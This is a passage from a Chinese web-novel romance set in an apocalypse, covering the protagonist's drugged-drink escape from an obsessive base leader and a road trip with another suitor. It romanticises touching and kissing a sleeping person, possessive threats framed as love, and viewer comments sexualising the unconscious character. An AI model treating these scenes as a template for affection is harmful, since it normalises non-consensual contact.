涂晋说怕他遇到危险,就自作主张牵住了他冰凉的手,攥在温热手心,枣芩犹豫片刻没抽开。 是一家私人书店,名字叫还挺文艺。英文New World,中文柳岸书店。 书店旁边还停着辆越野,是今早离开的另一辆。 他们还没停下车,车上的人就下车迎接了。 其中都是枣芩被从车后备箱逮住那天的熟悉面孔,枣芩感觉他们看自己的眼神很怪。 涂晋和带头一个男的说了两句话,枣芩看到了车上下来的人中有郑英雄,对视上一眼,就当不认识挪开了。 郑英雄沉默站在车旁。 涂晋拉着枣芩一起进了书店,进了个小屋,按了墙上的按钮,进了窄小的电梯。 枣芩无比惊奇这设计,抬着睫毛偷偷观察,简直像电影中一样,这么隐秘,下面一定会潜藏秘密。 没几秒钟,电梯门就开了,下面的实验室已经人去楼空,却依旧灯光明亮。 里面还有两个外出队的人,枣芩手心略微发湿漉,因为下面检查东西的那两人中,有褚风。 他想起来,褚风也是外出队的,这次应该刚好轮到他了。 这是一场意外的见面。 那两人抬头看到他们,另一个自然地和涂晋打招呼。 褚风一副不经意,视线却如刀锋般划过两人交握的手,枣芩眉头轻皱,差点想动手抽出来,但又怕引起涂晋的疑虑。 昨天才说被欺负,今天就牵着手在危险情况下外出。 褚风上前到涂晋面前,语气平静,“没找到太多东西,都已经被销毁了,只剩那些。” 涂晋看了眼枣芩的表情,拉着他一同过去,只有一小箱东西。枣芩扫一眼,看到了不知所用的培养皿与滴管,还有几张a4纸,上面有字。 涂晋扫了一眼后,就说:“没找到什么就回去吧。” 也不检查,紧握枣芩的手拉着他进电梯。 “?我还没看完呢。”枣芩小声。这关乎到他的任务,起码让他把那几张纸看看。 涂晋抬了下眼皮,安抚说:“没事,我们回去再看。又跑不了。” 随着电梯门合上,褚风的身影从缝隙中消失。 涂晋带着枣芩回到车内,没一会,枣芩看到褚风上了另一辆车。明明人不少,却都挤在另一辆车里,不上这辆。 枣芩这辆只有他和涂晋,以及司机和坐在前排的郑英雄。他似乎是涂晋的得力干将。 枣芩把手从涂晋手心抽出来,揣进自己口袋里。 语气不算冷,枣芩抿唇,小幅度抬抬下巴,示意前排的郑英雄,不咸不淡道:“……那天晚上,把我拉巷子里的,是他吗。” 车内安静的只有车辆行驶的声音,司机眼珠子都不敢动。 第86章 第 86 章 我愿意为你做任何事情 郑英雄原本就因枣芩的存在而紧张握紧的湿热手心, 猛然刺入几分,嵌进粗糙皮肉中。 泛起的疼痛远不及他心里的惶恐。 枣芩知道是他了…… 这个认知让他瞬间后背出了层冷汗,连带着肌肉痉挛。 那段记忆在郑英雄脑海中反复上演过无数次, 不管是白天还是黑夜。 枣芩在他手心呼出的香甜气体, 令人心颤的嗓音, 柔软的大腿。短暂的相触成了他枯竭生活的养料, 供给着他的生命。 他自欺欺人把那段记忆美化。 好像不是他主观意识想要去做的,他的罪恶就会因此变少, 所以他也总会回忆涂晋的命令下来的那一刻。 他阴暗的视线追逐枣芩, 像飞蛾追着火光,灼烧着因此而感受到幸福的他。可他和飞蛾不一样, 他身形魁梧,却要懦弱得多。 可现在,毒药外面的糖衣终于化了。 枣芩肯定厌恶极了他。 枣芩想到和他说过话,还对他微笑过, 肯定心底恶心不已,快要吐出来了。 郑英雄整个人仿佛被毒死, 一动不动,只剩下一只耳朵还活着,听着后排枣芩说话的声音。 “干嘛不说话?” 枣芩盯着涂晋倒是称得上英俊的侧脸。他和枣芩紧紧挨着,原本察觉枣芩要说话, 挑眉倾靠过来, 而此时神色已经隐晦僵住。 果然是。 之前遇到郑英雄时枣芩还没反应过来,今天车内环境封闭,枣芩鼻尖捕捉到了不算浓重的香皂味。 和那天夜里被捂着唇,闻到的味道别无二致。 这香皂肯定很多人用,可郑英雄不一样, 他是涂晋的手下。 枣芩记性并不是很好,其实这事只要一直不提,他自己不会主动去想不开心的事。可一旦让他想起来,他的情绪就要复苏一回。 ——而且这事本来就没过去。 枣芩躲开了涂晋想握他的手,但手背还是触及到了短暂冰凉。 涂晋除了僵了片刻,胸膛起伏变大,脸上表情并无异常,他似乎想当没听见。 枣芩看了眼前面郑英雄的身影,对方稳稳当当目视前方,又看了眼涂晋,面色如常,他顿时胸腔莫名地憋闷无力,捏紧了自己的手指,捏得泛白。 他好像什么都做不了。 坏人也不会因为伤害他而受到任何惩罚。 枣芩咬着唇里的肉。 过了好一会。 他盯着涂晋,招了下手示意涂晋俯下身,自己有话说。 他嗓音轻柔,说话的声音很低,故意用了一种轻快的口吻,“感觉、他是会对老婆很好的类型。” 枣芩点评:“他长得不错,而且很壮……嗯,他抱起我的时候我感觉到了。” 涂晋仿佛神志不清了,他分不清枣芩是为了报复自己,还是他真心实意这么觉得。 轻飘飘的两句话犹如万斤重,砸在了五脏六腑。 枣芩听到了牙齿碾磨的声音,涂晋下颚绷起来。 “我杀了他。”他从牙缝中挤出四个字,说这话的时候没有压低声音,不怕被郑英雄本人听到。 他握住枣芩的手,把自己的五指硬生生塞进枣芩指缝中,白眼球的地方涌现出红血丝,“好不好?” 枣芩吞咽口水,看了涂晋几秒,他这幅样子心里还是舒服了一点的,不过也有点怕。 枣芩硬着头皮说:“如果你因为这个想杀人,你应该先把自己杀了。没有你,也就没有这些事了。” 空气凝滞,如同灌了厚重的水泥,随着呼吸进肺腑,堵住呼吸。 一回到基地,枣芩就把脸缩在柔软围巾里,挣脱出自己的手,不等涂晋自己下车先走了。 他也不知道哪来的底气,知道涂晋不敢做出来他说的事。 ——他已经不敢再做错事了。 除此之外,枣芩有了一些离开方式的头绪。 回来没多久,涂晋就主动来找他,带来了书店实验室的资料,他的语气称得上顺从,没有半点在车上癫狂边缘的影子。 特殊的只有一串不知名的数字,枣芩潜意识觉得这和自己的任务是有关系的,但这些资料透露出的线索还是太少了。只能先放着,把数字记住。 枣芩哪怕拥有自由,也没敢去见褚风。 其实他大概知道,在实验室那天,涂晋不检查就拉着他仓促离开,可能是因为正在实验室的褚风,涂晋对褚风有危机感。 至于褚风。 枣芩没打算在计划周全前见褚风,怕被涂晋发现异常,可枣芩还是见到了褚风。 见到他时,他在搬运外出队的物资,眼尾颧骨处青紫一大块,大冬天穿得单薄,却冒着汗,嘴里叼着根抽了一半烟。 那么一瞬间枣芩呼吸加促,除了涂晋干的,他想不到别人。 他还以为涂晋不敢的…… 他判断错了。 褚风也同一时间看到了他,下意识直接用手指掐灭了烟,准备朝枣芩靠近的步子止住。见枣芩的表情,对他勾唇摇摇头,做了个口型,“没事儿。” 枣芩是从陈柚口中知道的,褚风和几个外出队的打了一架,闹得很大,差点出了人命。 从陈柚睁大眼睛,完全是在讲八卦的表情中,枣芩看出她好像不知道那件事情。 清洗手指的水流从指尖划过,长久呆愣过后,说出了郑英雄的名字。陈柚也愣了愣,点了头,问枣芩怎么知道的。 枣芩思绪被拉回,联想到一直默不作声,存在感低下的司机,没想到是个大漏勺。不过也不一定,枣芩也没完全确定褚风是从他那里知道的。 他不由得呼出一口气,看着被水弄皱的指尖。 还好不是涂晋干的,他没有不听话。 自从出去过那一次后,枣芩就要求涂晋带他出去玩,他心情有点忐忑,无法百分百确定会同意。 好在涂晋答应得是意想不到的顺利。 整个基地的人几乎都知道了,基地首领有个同性恋人,外出队以外不允许出入的大门,开了又开。 以公谋私,双重标准。 但并无人作声,现在是末世,他们能做的只有闭上嘴。 弱肉强食的世界,怎么可能有人置喙基地首领的行事作风。 枣芩三四次就把周边逛遍了,偶尔还会在夜晚要求涂晋带他出去看星星,涂晋也都答应了,但会提出亲他的手来作为交换。 他捧着枣芩的手,落下吻时,灼热视线总是盯着枣芩的唇,枣芩咬着唇,觉得怪,扭过脸不想让他看。 出去次数一多,基地的人都习惯了。 是夜。 枣芩拉开车门坐进副驾驶,车内晦暗,褚风已经等在车里,他一上来,立即发动了车。 明明刚走路过来的是枣芩,褚风却呼吸粗重,他嗓音低哑说:“要走了。” 枣芩看起来比褚风冷静很多,他整齐裹着棕色围巾,埋着下半张脸,只露着一双漂亮的眼睛。 他看向窗外,身体陷进座椅,闷闷“嗯”了声。 黑红色的越野车停在大门前,这是一个夜晚,已经过了凌晨十二点,但因为前几日的‘胡闹’,门在半分钟内就缓缓打开了。 车内没开灯,从外面看是一片黑暗。 年轻的门卫精神抖擞,是刚刚换了班的,下午刚睡了一个好觉,桌上放着本看了一半的小说。 他立即站起来,望向车窗内,只能看到模糊的黑影。 他眯着眼,眉头不由得拧起,是老大吗?感觉壮了。 他看着那辆暗色的越野车开出了基地,才关上门,继续看自己的小说,安心地躺回软椅上。 黑夜和寂静总是放在一起,此时也不例外。 褚风面容冷肃,握着方向盘的手卸了些力气,开了车灯,照亮面前的柏油马路,踩着油门让车速变快。 一直到路口拐了弯,他另一只手去开了车顶灯,看到他身侧枣芩莹白侧脸,睫毛在眼下发出颤抖的阴影,发觉他在看,也看了他一眼,眨眨眼睛。 他们出来了。 这之后,都将只有他和枣芩。他们在一起。 莫大的喜悦让他遏制不住自己勾起的唇角。 空荡荡的黑暗卧室里,身形颀长的男人站在窗前,窗户大敞,外面的冷风遽烈灌进来,吹得床帘狂乱飞舞。 他望着操场的方向,那里空无一人,他的面容也仿佛和静止的操场一样,被蜡封住了。 大门早就关上,载着他爱人的车已经驶离。 枣芩小声说:“不用开这么快,他不会追上的……” 他手塞在外套口袋里,食指轻轻拨弄着空荡荡的小瓶子。 这是褚风给他的,通过郑英雄。 枣芩不想拖累到陈柚,但也没想到褚风会让郑英雄来送,郑英雄居然也同意了,还带着一条打着石膏的手臂。 给到枣芩手中后,他小心翼翼问枣芩讨厌他吗。 枣芩愣了好一会,才看着他摇摇头,替褚风说了对不起。郑英雄对他没恶意,他是知道的。 枣芩喝剩下的水,偷偷加点东西不难,不多久涂晋就会喝掉,再给他倒一杯温热的。 涂晋躺在床上闭着眼,呼吸平稳,昏睡过去看着倒是没那么讨人厌了。 枣芩把自己的手从他潮热手心抽出来,在他胳膊上用力推了他好几下都没把人推醒。 枣芩心脏怦怦直跳,这药比他的道具厉害多了,见效这么快。 他跟只仓促乱飞的小鸟似的,在屋子里打转。准备多收拾点吃的走,食物在末世的重要程度不必说。 他想起褚风最厚的一件衣服,一个单薄的夹克,决定再拿件涂晋的厚衣服给他穿。 涂晋的衣服都不在这间,只有他今天穿过的那件,就被他随手挂在木椅子上。枣芩没有挑的想法,把携带着涂晋气息的衣服抱在手臂上。 褚风应该谢谢自己。 枣芩心想。 手腕被炙热粗糙的手突兀摸上,心脏遽然间,却像掉进冰天雪地,枣芩全身一僵,后背瞬间冒出涔涔冷汗。 那一刻,他心里只有一个念头——他完蛋了。 枣芩手指无法控制地抖着。 他听到了涂晋说。 “……能不走吗?”是极沙哑的一声哀求。 枣芩惨白着脸转过身去,怔怔对上涂晋癫狂又痛苦的表情,他眼中全然清醒,没有半点睡过的迹象。 他刚才在装。 枣芩头晕目眩,一下腿软,跌坐在身侧的木椅子上,因为恐慌,肩膀都因为喘息而颤抖。 怎么办?他该怎么办? 涂晋却突然跪下,双膝抵在冰冷的瓷砖地面上,犹如一头找不到出口的困兽,垂着头颅,握着枣芩的手在发抖。 涂晋好一会才抬起头,对上枣芩的一对通红、乞求的眼,仿佛压抑着无论如何都消除不了的痛苦,以至于让他脖颈暴起一根危险的筋。 “小芩、我会做好的。”他眼底闪烁疯狂的光,仿佛要将枣芩吞下去,但又很快被他强行压下。 “以前的那种事再也不会有了……给我一次机会吧?我会听你话的。你看,你每天出去想离开我,我也都答应了……我们一起、看了星星。 你给我喝的东西,我也乖乖喝了,我给车后备箱放了很多东西,我本来、” 他胸口急剧起伏,蓦然停顿喘气,面部皮肤控制不住地抖动,“本来已经决定让你走了,我不强迫你了,可是、我不甘心,我怎么可能甘心让你走呢?……我还想再试试……” 他眼底的希冀,如同枣芩的一句话能让一个人起死回生,“小芩、” 他抓着枣芩温热的手放在唇下,闭着眼不停地吻,每一个吻都存着深深的留恋,就像之前的每一次。 他眼底红血丝蔓延,看起来整个眼睛都是恐怖的赤红色,再一次苦苦哀求,“别走,你让我做什么都可以……小芩。” “能不能试着接受我?” 他等着枣芩的回答,他只能听到自己心跳的声音。 枣芩的眼里为什么会害怕,为什么会害怕他,他真的只是想要枣芩也喜欢他。 “我愿意为你做任何事情啊。” 枣芩手背湿了。 前方的路走向正轨,褚风说,从这里到首城是八天的路程。 第87章 第 87 章 是你的小三,还是你的二…… 路上经过一个偏僻小区, 褚风停在附近准备休息,但没打算下去。 副驾驶座的枣芩已经困得睁不开眼了,纤密睫毛极力想抬起也没成功。打着瞌睡, 浑身透着一股半梦半醒的软和气息。 现在这个样子……是不是凑过去摸摸他的手、捏他软胳膊, 都不会有太大反应, 顶多哼哼两声。 附近几公里都说不定只有他们两个人。毫无遮拦的视线肆意流连在枣芩身上, 他俯身靠过去。 褚风伸手帮枣芩放下座位靠椅。 尽量让枣芩躺得舒服点,随着座椅角度变大, 枣芩半躺下, 依旧没被动静弄醒,反倒眼皮扛不住彻底闭上了。 围巾裹住的下半张脸, 随着他稍稍偏头,露出被轻轻挤压的嫩红嘴唇。 褚风盯着安静看了两秒,禁不住轻笑一声。 他本来打算尽早确定一下他们现在的关系,听到枣芩亲口承认他男朋友的身份。 只能明天醒来再说了, 还好,他不用再担心醒来见不着人。 那天枣芩拉开衣领让他看, 说被欺负了。小脸上紧张期待地问他,要不要一起走,还说他之前提出的要求可以商量。 其实每次回忆都会有不同的感受,刚开始是因为那痕迹酸楚气闷, 到后来逐渐发展, 加以幻想作佐料。 ——再往下拉一点,那里有没有被吮过,怎么弄的,有没有留下类似肩膀上的痕迹。 会更重吧。 因为他也忍不住。 他牙齿抵住,口中有些空, 他身体幅度偏了下又直起来,转身找烟,才发现自己打算戒烟——所以一根没带。 要命。 他将自己最认真惦记着带了的东西——放在座椅中间的灰色毛毯。 散开盖在枣芩身上,还是上次那条。分开后,他一直带在身边,走时都不忘带上。 褚风闭了闭眼,口干舌燥,浑身不舒服。 又过了会,褚风高大身躯一鼓作气凑过去,一个轻如羽毛的吻落在枣芩温热雪白的脸颊,又快速离开。 像什么都没发生过。 …… 他偷亲了枣芩的脸蛋……有够软的。 这可比抽烟让人心里舒畅多了,像吸了尼古丁,瞬间脑中有什么甜滋滋的东西炸开。 明明开了挺久的车,本该疲惫困倦,他却精神亢奋异常,必须找点事做。 褚风视线落在车后座,后面的座椅可以放下去,再铺上空气床垫,就可以像张床一样。 他刚才居然把这早就想好的事忘了,让枣芩在副驾驶上睡。 褚风动作利索下车,从后面跨上去。先小心把枣芩靠椅调回去,俯下身松开后排座椅下部分的卡扣,往前猛然一拉,再从座椅夹缝松开安全带感应器,把靠椅折叠着压下去。 连接着高于普通车的后备箱,这么放平,连带着后备箱,后面整个一片平坦。 褚风瞥到后备箱堆积的东西只是微怔一秒,挪开视线继续干自己的事。把他原本准备好扔在后座的空气床垫打开,铺上毯子,又把压在床垫下面别人准备的物资放到了床垫上面。 除了驾驶座,整个后面都成了一张大床。这是越野的特性,如果是别的车就做不到。 视线又在那堆东西上停留几秒,它们占据了床垫上不少的空间,但确实是足够两个人在外面生活一个多月的。 褚风下车开了副驾驶车门,拦腰抱起熟睡的枣芩,动作很轻,但因为突然的冷意,枣芩还是哼哼了声。他把枣芩放在床垫上,又把他身上的毯子裹了裹。 枣芩睫毛抖抖,睁开眼,模糊的轮廓在他眼前,小声:“褚风……” 褚风勾唇凑过去,胸口充盈着莫名的臌胀感,“嗯,怎么了?” 枣芩闭着眼睛。 他喉结压了压,“宝贝。” 枣芩没再说话,似乎只是稍微清醒了一秒,又熟睡过去。 【是我就亲了】 【还是太正直了,保持住,就这么照顾我老婆,可以惦记不能行动】 【睡着了嘴巴还不合紧,宝宝不就是让老公亲亲的吗,老公猛舔】 【这空间挺大呀,外面又没人,车z也不会被看见,老婆,这么美妙的场景为什么不是我俩……】 褚风回到驾驶座,关上车顶灯,闭眼。 片刻过后,他再次开灯,钻到车后,找出在那堆东西里看到的那床被子。 包装一打开,空气进去,原本被挤压的被子缓缓变大,褚风盖到了枣芩身上。 被子很轻,但材质是很保暖的类型。 离开基地第一天,枣芩睡了个饱饱的觉。 醒来看到身上的被子,他眨了眨眼睛表情茫然,好一会才回了意识。 车正在行驶中,枣芩从被子里爬出来打算去前面陪着褚风,一下被冷得缩回暖和的被子里去。 好半天,才慢吞吞带着毯子一起到前面,手脚缩坐在冰凉的座椅上。 褚风知道他醒了,没做声。 枣芩不知道褚风是怎么做到的,把后面变成了床,还给他盖了被子。 但只有可能是褚风做的。 枣芩犹豫一下,脸上的朦胧睡意还未完全退却,脸颊还是红的,他小声小气说:“谢谢你。” “嗯,饿不饿?”褚风问。 枣芩伸进毯子里摸摸肚子,其实还好,他善解人意说:“只有一点点饿,你饿的话我们可以现在吃。” 两人都没提那些东西的事。褚风拿了食物,枣芩吃完面条,坐在位置上喝酸奶,坐着坐着他已经把座椅坐热了,也没那么冷了。 一只手蓦然伸过来,褚风表情淡漠,用纸巾帮枣芩擦了擦脸颊,“没擦到。” 他或许是有些暧昧的,可眼底确实没有半点多余的情绪,好像只是在做一件再普通不过的事情。 枣芩垂下眼睛,等着他擦完才继续喝,舌尖舔了下吸管沾到的酸奶。 “枣芩。” 枣芩有段时间没被连名带姓叫过了,懵了秒才抬脸应声。 眉眼冷淡的褚风目视前方,单手紧握着方向盘,姿态随意,很平静地问:“我们现在是什么关系?” 这话单拎出来有点怪,但枣芩不用思考就明白了他的意思。枣芩耸耸鼻尖,眼神游移,他当然记得自己说过的话,只是—— 事情的状况可能有点坏了…… 他和宋呈在这个副本是婚姻关系,而且现在宋呈还活着呢,他们还正在要去找宋呈的路上。 枣芩牙齿碾磨起吸管,眉心皱了下。 褚风虽然没正眼看着他,但也一直在注意他的小表情,看到这幕,陡然把车熄火,转过头盯着枣芩,“你想反悔了?” 他已经强压着自己不表现出负面情绪,把枣芩吓到,但语气还是透出些不敢置信。 “不是的!”枣芩连忙摇摇头,他没想出尔反尔,确实是他自己答应了的。 这要他怎么说,他们现在是要去找宋呈的,褚风眼里宋呈和他是婚姻关系,褚风现在肯定还不知道宋呈活着。 在让褚风跟他一起离开前,他没到这块, ——关于他们三个的关系。 褚风岂不是就成小三了,那自己呢……是出轨了。 枣芩知道自己和宋呈不是真正的婚姻关系,但褚风不知道。 他知道他差点当了小三,会怎么样? 枣芩之前确实没考虑到这个,光顾着想要逃离涂晋了。 “褚风。”枣芩脑袋嗡嗡的,还是决定告诉他,不然去了首城也是要面对的。 枣芩想到自己说了之后,褚风一定会觉得他是早就知道宋呈活着,却还答应褚风,会跟他谈恋爱把他骗出来的那种人。心里就窘迫的要命,他隔着围巾摸了下自己发烫的脸。 “褚风……”他语气又急又轻,再次叫了声。 褚风被他的模样搞得牙痒,明明就是想反悔,却还表现得仿佛他是有苦衷似的无措,“。” 褚风没设想过这一层,出来之后枣芩会反悔。 昔日热闹的街上一个人都没有,他现在扒开枣芩的围巾强制性捏开他的嘴、去亲他舌头,他也做不得反抗。 但褚风不愿意这么做,他要的是正儿八经的亲密关系,不是一厢情愿的贪欲。 但下一秒,枣芩说的话,让他恨不得把他堵在座位上,嘬烂他的嘴巴。 “那个我好像忘记和你说了,就是。”枣芩吞咽了下口水,小声小气,可能是因为自己也知道心虚,“那个,宋呈还活着,现在就在首城。” …… “我不是故意不说的。” …… 车内安静下来。 枣芩偷偷瞄了褚风一眼,感觉他忽然好像失去了力气,靠在靠椅,沉默看着前面空无一物的马路,不知道在想什么。 褚风忽然笑了声,那笑从喉中挤出来,透着几分说不出的咬牙切齿。 褚风再次启动了车,车辆继续行驶,气氛僵硬。枣芩咬着唇肉,看向窗外不断往后退的建筑物,降低自己的存在感。 【谁敢赌?我赌一天】 【本芩芩老公赌一小时,来来来下注吧】 枣芩随便看了一眼,都不知道他们在赌什么,眉头不由得皱了下,【系统,不许在我这里赌博。】 系统突然被叫,【我没赌。】 枣芩不好意思自己管,他自己设定了,会显示主播设定。但系统介入会显示系统,这样就不算枣芩干的。 【我心情很不好了,你快点去嘛。】枣芩郁闷地裹了裹毯子。 系统:又撒娇了。 【好了。】 枣芩一扫,果然已经看不到‘赌’之类的字眼了。 褚风太阳穴一跳一跳的,呼吸时断时续。如同一柄锋利的剑,他的幻想被刺破,漏风。 他机械性开着车。枣芩这么想走,原来是为了去找他那个本该死了的老公。 怎么还活着的? 那么大的楼塌下来都没把他压死。 这些日子,枣芩免不了把希望思念寄托到对方身上,而且他们本来就是婚姻关系。 对方比他更有资格保护枣芩。 他算什么? 他挺想问问枣芩的。 去了那,自己是不是得像之前一样,在阴暗角落里,看他们耳鬓厮磨,卿卿我我。 从车窗外,看枣芩潮湿热气里被按着的手。 只要一想到这些,他就感觉胸口闷得连呼吸都灼烧,控制不住自己。 “那我是你的小三,还是你的二老公?……保镖?还是司机?” 他压住涌到喉咙的干涩,尽量让自己温和。 枣芩睫毛颤着,垂着眼,知道自己对不起他,默不作声打算听他发泄。 褚风侧眼,被质问的枣芩看起来可怜又弱势,好像他才是难过的那方,他抬着睫毛,看了下褚风,就吓到一样快速挪开视线。 褚风按了下额头,感觉自己或许太咄咄逼人了。 枣芩只有这一条路可以走,难道留在那里,或者独自离开吗? 这也是褚风绝不愿意看到的。 天色暗下去,枣芩回到后座睡觉。 昨天他睡得早,又是被褚风弄到后面的。醒来的时候褚风已经在开车了,导致他什么都不知道,更不知道褚风是怎么睡的,他以为褚风也是在后面。 现在才看到他就那么靠在驾驶位上闭上了眼,枣芩在副驾驶坐着都不太舒坦,驾驶位前面还有个方向盘。 还有一点,他原本准备带的那件涂晋的外衣,离开时被吓得忘记带上了,这么冷的天,褚风身上仅仅穿着一件单薄的夹克。 而自己身上,却有一床保暖的大被子,连毯子都被枣芩叠起来,用来当枕头了。 枣芩裹着被子稍微起身,没多明亮的车顶灯开着,他漂亮的脸浸在昏暗散光中,在车内后视镜,枣芩对上了褚风闭着的眼,绷紧的脸。 “褚风。” 褚风一动不动,但枣芩分明看到他眼皮动了下。 枣芩光是这么稍微起来,都有凉气涌入他衣领,钻进皮肤。他缩回去,不忘说:“被子很大的,你一起到后面睡吧。” 他已经说了,褚风来不来是他自己的事情了。 过了会,枣芩听到褚风开口。 “你不用勉强,不用为我考虑。” “嗷。”这样枣芩就没办法了,他蜷缩着手脚闭上了眼睛,虽然被子很暖和,但是他的脚还是冰冰的,缩起来会好受一点。 他还没睡着,被子被掀开一个角,一具携带着凉意的庞大身体缓缓进来,枣芩本来就没睡着,瞬间一个激灵更清醒了。 褚风呼吸声粗大,整个人有很强的存在感。 后面空间并不小,哪怕脚下放了些东西也足够再放一个人,褚风偏偏和他挤在一块。 两人身体几乎贴着,枣芩不动声色往另一边靠,给他挪开位置。他有些肉疼地想,这是他好不容易暖好的。 “确实冷。”褚风说着,应该是起身脱了外套丢在旁边。 枣芩“嗯”了声,抿着唇。 他侧躺着背对褚风,褚风也侧躺着,却面对他。 哪怕枣芩尽量避开,还是被虚虚贴住了,因为枣芩已经没法再避了。 褚风身体热得很快,就短短的功夫,被子里温度直线上升,枣芩感觉自己身上都出了层细细的汗。 他小心翼翼把脚贴过去。 “褚风,对不起没来得及和你说那件事,你没生气吧?” 之后他们还要在路上好几天,他不想和褚风关系僵硬,对枣芩自己也不好。 褚风呼吸终于没那么重了,声音近在枣芩耳后,“嗯,你说的话算数吗?” “……什么话。”枣芩不知道是哪句,但他说完,褚风气息好像又有点重了,枣芩嘟囔了句:“算数的。” 他没说什么怪话吧。 褚风语气平静:“行。” “老婆,快点睡吧,明天教你开车。” 枣芩原本半闭着的眼睛都睁圆了。 什么意思? 【小三!】 【我d对了吧,我就说半天,我老婆的魅力,没见过的都不敢信】 【ntr瘾有点犯了】 【左右脑谈判之后,维持原判了?】 【都知道人家老公还活着了,还钻人家被窝。道德呢?品行呢?教程呢?】 第88章 第 88 章 老公抱小芩抱的舒服吗?…… 枣芩脑袋乱乱的, 褚风不是已经知道宋呈还活着吗,怎么叫他老婆,这样显得好奇怪。 褚风明白他是在插足吗? 可偏偏这又是枣芩自己答应过的。 枣芩闭上眼睛, 这种事情让他想得不开心, 他就把乱七八糟的想法都丢出去, 平复下自己的思绪。 褚风没再说话, 此时呼吸沉稳,身体放松, 已经睡着了。 身旁有了个大火炉子, 热气蒸腾复苏了枣芩原本的困意。他两只寒玉似的脚叠在一起,偷偷贴上褚风的腿。 温度缓慢传达的同时, 枣芩也睡过去。 · 劲瘦手臂一把搂住枣芩的腰肢,他腰细,睡觉又只穿了件单薄宽松的里衣。粗糙的大手摸在上面,隔着层布料, 都能触摸到柔韧温热的身体。 褚风将背对着他睡觉的枣芩翻过来,动作很轻柔。 枣芩轻, 也不用费力气,就软绵绵的趴靠在他身上,看起来就像是自己依赖地贴上来的。 他施力往上一抬,枣芩就整个深陷入他怀里。连轻轻的呼吸、以及身体深处散发出的好闻气息, 他都能感受的一清二楚。 这就是有老婆的感觉…… 褚风五脏六腑在冒火, 鼻腔冲出的气体都燥热异常,他都疑心自己马上要流出两行鼻血。 好在并没有东西涌出来,他抱住枣芩,调整了下被子。 灼热的东西挨在枣芩胯骨侧,有布料遮挡, 并不算太明显。褚风没敢弄,开了这个头他怕自己收不住。 真的要疯了。 清心寡欲了二十多年,竟同时达成有老婆,当小三,两项历史性的跨越。 他还叫了声老婆,枣芩什么也说、更没反对。 其实这半天让他感到折磨难捱的,没有一点是来自于道德的审判,而是不远处要迎来的悬崖。 他本以为前面是光明大道,结果突然告诉他前方塌陷。 这条路太短暂,哪怕努力拉长,也就十来天,不到半个月。 他不甘心他和枣芩只有这么短暂的日子,但更不想一天都没有。毕竟比起什么都没有,一刻都是赚了。 褚风认为完全有可能。 ——枣芩见到宋呈后还不舍得自己,惦记着自己。到时候他们依旧可以在一起,哪怕偷情,哪怕见不得光。 “老公抱小芩抱的舒服吗?” 褚风忽然自言自语说了句,他知道枣芩回答不了,但因为这句话里自己‘老公’的身份,还是爽得脊背直发麻。 · “我叫你老婆,你该叫我什么?” 褚风会用这种自己好像只是说了“渴了喝水”这样普通的口吻,仿佛这是个很顺理成章的事情。 这对吗? 枣芩懵了片刻,张张嘴巴差点把那两个字说出来,最后关头抿住唇,“可是……我没有要你这么叫我啊……宋呈都不这样。” 褚风眉梢挑起,绕开了宋呈的存在,当没听见这两个字。 他坐在驾驶位上也不开车,饶有兴致地盯枣芩,跟他讨论称呼问题,“那你要叫我什么,我们这种关系。” 能叫什么? 枣芩别开脸,含糊说:“我就叫你褚风啊……” “以后你叫我风风老公,我叫你芩芩老婆。”褚风好整以暇又悠闲地双臂环胸,仿佛已经想象起来了。 褚风一出口,枣芩就急了,他小脸震惊转过来,“我才不要!” 他光想到那场面,就尴尬到简直脚趾扣地,恨不得找个地缝钻进去。要是被人看到他们互相这么叫,他还不如死了算了。 枣芩浑身鸡皮疙瘩都要起来了。 风风老公是什么啊…… 褚风被枣芩拒绝还故意叹了口气。 叹气是假的,那称呼也是他逗枣芩的,他又不是十一二岁的小孩,能那么肉麻。 可莫名的,心里还是升起一点微妙失落。 他退而求其次,“那、宝贝?” 比起前面什么老公老婆的,宝贝显得正常太多了。 枣芩都不知道自己的脸什么时候开始发烫的,闷闷说:“还行。” 转头对上窗外的后视镜,才看到自己羞赧窘迫到绯红的脸。 都怪褚风的什么破称呼。 车开到平坦空荡的大路。 “芩芩,到这边。”褚风开门下车,让枣芩去驾驶座。 眼看着他从车前绕了圈,要过来上副驾驶,枣芩赶鸭子上架,起身弯着腰颤颤巍巍到了驾驶座,坐在完全陌生的位置上,他不太适应。 昨晚睡前,褚风说过要教他开车。 枣芩临阵想脱逃了,下意识摇头:“要不算了,你来开吧。” “你不是想学开车?”褚风已经开了门,坐上了副驾驶位,深深吸了口气。 枣芩睁大眼睛,有点错愕,“你怎么知道。” 枣芩好像没跟谁说过,更没和他说过。 褚风勾唇笑起来,他长得确实凶,脸上没一个五官是柔和的,笑起来也不让人觉得多温柔,但他说这话时,却不一样了,“我们去基地之前,你就一直在盯我开车,很明显。” 枣芩摸摸脸,没想到他当时在注意自己,他抬着小脸回忆了下,“是想学来着,但当时没敢说,感觉你肯定不会教我,而且你话都不想和我说……” 其实说过几句,枣芩至今印象很深刻,因为把他弄得很尴尬。 他看向褚风,“你还说你不会对我感兴趣,也不喜欢我这样的男生。” “咳咳…!”褚风被空气呛到似的,猛地咳嗽两声,他拿起中间的矿泉水喝了两口,手指不禁捏得塑料瓶变了形。 他什么时候这么说过?他是这么说的吗? “……。”褚风忙扯开话题,“你现在还想学车吗?” 枣芩握了下方向盘,感觉方向盘比他想象的要大,试着稍微转了下。他实话说:“想的……我就是有点怕。万一撞坏车了,我们就糟了。” “我在。”褚风见他不再说之前的事,胸腔气息泄了些,“油门和刹车、离合,在哪知道吗?” 枣芩吞咽口水,点点头,眼中的紧张兴奋溢于言表,“知道的。” 褚风因他眼中的光彩怔了瞬。 “嗯,害怕就松油门。” 枣芩点点头。 褚风把水瓶放回去,“试着开一下。” …… 第一次开车。 车惊人的行驶了半米。 枣芩握着方向盘的两只手都出了点汗,他呼吸急促,又有点激动。他真的开车了。 “可以,有天赋。”褚风这么说。 枣芩眼睛亮晶晶的,“是吗?” 他这样已经叫有天赋了吗。 褚风一点不心虚,“就是还把握不住,很紧张,可以放松一点。” 枣芩很想放松,但他放松不了。他一开始就紧紧握住方向盘。 褚风忽然起身,枣芩下意识抬眼看去,他说:“往前面坐一点。” 刚刚开车一直听褚风的命令,所以他说出口,枣芩就下意识执行了,还没来得及细想。 下一秒,褚风起身迈腿,巨大阴影覆过来,褚风坐在了他身后,枣芩坐在他腿中间,被挤得膝盖紧紧并起来。 跟个小学生一样挺直腰背。 …… 褚风的声音就在身后,枣芩怎么都没想到自己会被这样教开车,要不是末世,他们两个是不是要进拘留所了… 